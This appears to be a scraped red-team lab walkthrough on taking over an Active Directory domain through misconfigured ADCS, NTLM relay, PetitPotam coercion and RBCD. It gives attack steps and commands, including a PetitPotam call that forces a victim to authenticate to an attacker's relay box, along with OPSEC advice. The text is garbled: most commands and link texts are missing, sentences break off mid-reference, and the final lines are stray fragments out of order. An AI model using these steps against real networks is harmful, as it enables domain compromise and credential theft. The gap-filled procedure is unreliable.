This is a quick lab to familiarize with an Active Directory Certificate Services (ADCS) + PetitPotam + NLTM Relay technique that allows attackers, given ADCS is misconfigured (which it is by default), to effectively escalate privileges from a low privileged domain user to Domain Admin.
The ADCS vulnerabilities were researched by and in , was researched by , implemented in impacket by .
Conditions
Below are some of the conditions making an AD environment vulnerable to ADCS + NTLM relay attack:
ADCS is configured to allow NTLM authentication;
NTLM authentication is not protected by EPA or SMB signing;
ADCS is running either of these services:
Certificate Authority Web Enrollment
Certificate Enrollment Web Service
Overview
Below provides a high level overview of how the attack works:
Get a foothold in an AD network with a misconfigured ADCS instance;
Setup an NTLM relay listener on a box you control, so that incoming authentications are relayed to the misconfigured ADCS;
Force the target DC to authenticate (using PetitPotam or PrintSpooler trick) to the box running your NTLM relay;
Target DC attempts to authenticate to your NTLM relay;
NTLM relay receives the DC$ machine account authentication and relays it to the ADCS;
ADCS provides a certificate for the target DC$ computer account;
Use the target DC's computer account certificate to request its Kerberos TGT;
Use target DC's computer account TGT to perform and pull the NTLM hash of krbtgt;
Use krbtgt NTLM hash to create that allow you to impersonate any domain user, including Domain Admin.
Below graphic visualizes the concept:
Domain Takeover
Lab Setup
This part of the lab is setup with the following computers and servers:
10.0.0.5 - Kali box with NTLM relay;
10.0.0.6 - target Domain Controller DC01. This is the target DC that we will coerce to authenticate to our NTLM relay on 10.0.0.5;
10.0.0.10 - Certificate Authority (CA01). This is where our NTLM relay 10.0.0.5 will forward DC01 authentication to;
10.0.0.7 - Windows worksation (WS01). This is the initial foothold in the network and this is the machine that will force the DC01 to authenticate to our NTLM relay on 10.0.0.5;
Installing Tools
Let's pull the version of impacket that has ADCS attack implemented and checkout the right branch:
git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack
Configuring Virtual Environment
Prepare a python virtual environment for impacket. Start by installing the virtual environment package:
apt install python3-venv
Create and activate a new virtual python environment called impacket:
On WS01, we can use a Windows LOLBIN certutil.exe, to find ADCS servers in the domain:
We confirm that in our domain, CA01 is our Certificate Authority that we will be relaying DC01$ authentication to.
Setting up NTLM Relay
On Kali box at 10.0.0.5, let's setup our NTLM relay to forward incoming authentications from DC01$ to the CA01, or more specifically to one of its HTTP endpoints for certificate enrollment http://ca01/certsrv/certfnsh.asp like so:
Use runas /netonly /user:fake powershell to create a new/sacrificial logon session into which the DC01$ TGT will be injected to prevent messing up TGTs/TGSs for your existing logon session.
klist confirms we now have a TGT for DC01$ in the current logon session:
Remember
It's worth remembering that in some AD environments there will be highly privileged accounts connecting to workstations to perform some administrative tasks and if you have local administrator rights on a compromised Windows box, you can perform ADCS + NTLM relay attack to request a certificate for that service account.
To do so, you'd need the following:
Reminder
Consider your OPSEC.
Stop the SMB service on the compromised box. This requires local admin privileges on the box and a reboot to stop the machine from listening on TCP 445;
Spin up the NTLM relay on TCP 445;
Wait for the service account to connect to your machine;
Incoming service account authentication is relayed to the ADCS, which spits out the service account certificate;
Use service account's certificate to request its Kerberos TGT;
You've now gained administrative privileges on machines the compromised service account can access.
RBCD: Remote Computer Takeover
It's also possible to gain administrative privileges over any remote computer given we have network access to that computer, as pointed out by Lee Christensen:
Lab Setup
This part of the lab is setup with the following computers and servers:
10.0.0.5 - Kali box with NTLM relay;
10.0.0.7 - Windows worksation (WS01). This is the box we will coerce to authenticate our Kali box, which will relay the authentication to DC01 and setup the computer WS01 for a remote takeover;
10.0.0.6 - Domain Controller DC01;
10.0.0.10 - Certificate Authority (CA01). This is the box from which we will coerce WS01 to authenticate to DC01;
On computer CA01, let's invoke PetitPotam and coerce WS01 (10.0.0.7) to authenticate to our Kali box (10.0.0.5) where our NTLM relay is setup:
.\PetitPotam.exe kali@80/spotless.txt 10.0.0.7
On our Kali box, we can see the the incoming authentication from WS01$ was relayed to ldaps://dc01 and that a new computer quaiivve$ account (that WS01 now trusts and allows to impersonate any domain user), was created:
Below screenshot shows that the QUAIIVEE computer account has been indeed created and WS01$ has some privileges to it:
Additionally, we can see that the attribute msDS-AllowedToActOnBehalfOfOtherIdentity on computer object WS01 contains some binary value, which is empty by default on computer objects:
Calculating Hash
On computer CA01, let's calculate the RC4 hash for the newly created computer account's QUAIIVVE$: password:
While on CA01, we can use rubeus s4u command, which will:
Retrieve a TGT for offense.local\QUAIIVVE$;
Perform S4U2Self, which is a Kerberos extension that allows a service to obtain a TGS to itself on another user's behalf. So in our case, the CA01 will request a TGS for QUAIIVVE$@OFFENSE.LOCAL as administrator@offense.local;
Perform S4U2Proxy, which is a Kerberos extension that enables services to request TGS tickets to other services on behalf of a given user. In this instance, a TGS will be requested for cifs/ws01.offense.local, which will allow CA01 to access WS01 computer's file system (i.e., c$ share) on behalf of the Domain Admin administrator@offense.local:
We can now try to access WS01c$ share from CA01 to confirm if we've gained administrative access over WS01:
ls \\ws01.offense.local\c$
WebClient Service
For the above attack to work, the target system WS01 has to have the WebClient service running:
WebClient service is not running on computers by default and normally you'd need admin rights to start it, however it's possible to force the service to start using the below code:
Below shows WebClient service is not running on WS01 and we cannot start it, however, executing the above code (webclient.cpp compiled as webclient.exe) kicks off the WebClient service for us:
RBCD: Local Computer TakeOver / Local Privilege Escalation
It's also possible to leverage the ADCS NTLM relay + Resource Based Constrained Delegation (RBCD) to escalate privileges on a local computer, if regular domain users can create new machine/computer accounts in AD, which they are by default, as specified in the domain root object's attribute ms-DS-MachineAccountQuota: 10, as seen below:
Ability to create machine accounts applies when talking about remote computer takeover too.
Lab Setup
This part of the lab is setup with the following computers and servers:
10.0.0.5 - Kali box with NTLM relay;
10.0.0.6 - Domain Controller DC01;
Calculating Hash
Building on the previous successful NTLM relay, where we forced the WS01$ to authenticate to our Kali box (where our NTLM relay was listening), we got a new machine account QUAIIVVE$ created with a password K_-Jzsb&uK!`TIH. Let's re-calculate the password's hash:
Privileged code execution on WS01 can also be achieved using impacket's psexec:
Note
RBCD for local privilege escalation could also be performed:
Note to self: what a beautiful attack vector this is.
PetitPotam blocked?
You can now also use:
References
From WS01, let's force the DC01 to authenticate to our NTLM relay at 10.0.0.5 by executing :
We can now perform and pull the NTLM hash for the user offsense\krbtgt:
Having the NTLM hash for krbtgt allows us to create .
Let's set up our NTLM relay on the Kali box to relay authentications to DC01 via LDAP and specify the --delegate-access flag, which will automate the attack steps:
From , we know that the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, after we've successfully performed the LDAP relay attack, effectively encodes the following: computer WS01 trusts the computer account QUAIIVVE$ and allows it to impersonate any domain user, including Domain Admins and grant them administrative access to WS01.
10.0.0.7 - Windows worksation WS01. This is the box we will coerce to authenticate our Kali box, which will relay the authentication to DC01 and setup the computer WS01 for ;
by leveraging a compromised user with SPN set, assuming you have WRITE privilege over the computer's you want to compromise, AD object as described .
via socks proxy and remote port forwarding as described , which reduces the need to have a Linux box inside the compromised network with an NTLM relay listener set up.
